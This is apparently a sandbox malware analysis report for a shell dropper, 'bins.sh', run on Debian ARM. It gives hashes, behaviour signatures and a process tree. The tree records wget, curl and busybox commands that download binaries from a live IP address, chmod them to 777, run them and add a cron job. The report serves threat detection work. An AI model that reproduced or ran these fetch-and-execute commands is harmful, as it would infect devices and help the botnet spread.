Analysis

  • max time kernel
    84s
  • max time network
    139s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21/11/2024, 10:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    456d18e88229695ec48121c8a61d19dd

  • SHA1

    f150b8f54e5439a20273cb97837006150e6c55ac

  • SHA256

    ee06e4cbf1285bfe61e7847dbdc807b5011ef76d78cd14cf70228c7fb001939c

  • SHA512

    c371c3651c6c6d0e643fe3a445a032d01477451ae301dde621380b552d88398623c470dd8eeb64d374abd9fd10ddf5755618f018be00c888870e0a4f624f7b06

  • SSDEEP

    192:mAs44Ans0vPUPcPPKWFLvO4L8Yea7rKrWr5KyC7jn+37uiV7wgHKWm7y+I8EKQA+:7SKPKWUnTaIO3livFT6YSKPKW6

Malware Config

Signatures

  • Contacts a large (1763) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:657
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:664
        • /usr/bin/wget
          wget http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Writes file to tmp directory
          PID:666
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:673
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Writes file to tmp directory
          PID:682
        • /bin/chmod
          chmod 777 Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • File and Directory Permissions Modification
          PID:684
        • /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          ./Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Executes dropped EXE
          PID:685
        • /bin/rm
          rm Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
            PID:689
          • /usr/bin/wget
            wget http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Writes file to tmp directory
            PID:690
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:694
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Writes file to tmp directory
            PID:697
          • /bin/chmod
            chmod 777 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • File and Directory Permissions Modification
            PID:698
          • /tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            ./3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Executes dropped EXE
            PID:699
          • /bin/rm
            rm 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
              PID:701
            • /usr/bin/wget
              wget http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Writes file to tmp directory
              PID:702
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:703
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Writes file to tmp directory
              PID:704
            • /bin/chmod
              chmod 777 ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • File and Directory Permissions Modification
              PID:705
            • /tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              ./ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Executes dropped EXE
              PID:706
            • /bin/rm
              rm ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
                PID:708
              • /usr/bin/wget
                wget http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Writes file to tmp directory
                PID:709
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:712
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Writes file to tmp directory
                PID:718
              • /bin/chmod
                chmod 777 U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • File and Directory Permissions Modification
                PID:720
              • /tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                ./U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Executes dropped EXE
                PID:721
              • /bin/rm
                rm U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                  PID:723
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:725
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:728
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:733
                • /bin/chmod
                  chmod 777 egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • File and Directory Permissions Modification
                  PID:735
                • /tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  ./egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  PID:736
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:738
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:740
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:742
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:744
                      • /bin/rm
                        rm egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                        2⤵
                        • System Network Configuration Discovery
                        PID:748
                      • /usr/bin/wget
                        wget http://87.120.125.191/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                        2⤵
                          PID:752

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby

                        Filesize

                        111KB

                        MD5

                        ca897a38f23ec23521ce0b1b83f8422d

                        SHA1

                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                        SHA256

                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                        SHA512

                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                      • /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH

                        Filesize

                        111KB

                        MD5

                        701e7a55a4f3650f5feee92a9860e5fc

                        SHA1

                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                        SHA256

                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                        SHA512

                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                      • /tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og

                        Filesize

                        119KB

                        MD5

                        1b166b95f9cb4b079ef1b9ec8363ddf3

                        SHA1

                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                        SHA256

                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                        SHA512

                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                      • /tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV

                        Filesize

                        122KB

                        MD5

                        cd3d4b9c643e5b473fb4d88ed05f0716

                        SHA1

                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                        SHA256

                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                        SHA512

                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                      • /var/spool/cron/crontabs/tmp.urpsq1

                        Filesize

                        210B

                        MD5

                        9f039923aa1406cbbffa82079bc5feba

                        SHA1

                        ec696ffec4f9c85380c383d0b4b07c58a435fa31

                        SHA256

                        d269ce03402b77168c1c173f55b865f3eb71fb95c9b61501406f9b7b737ba4a7

                        SHA512

                        907e05a6ae9b3b7c8118416d494239dfb5e1c0985ce183bf97d7ea4602cee7ec1d0c98d1a391f7deb7ac0ef31c5b42fd2d31612fa8257b9324113816faa22a51